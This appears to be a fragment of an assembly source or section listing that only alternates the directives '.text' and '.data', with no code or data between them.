.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text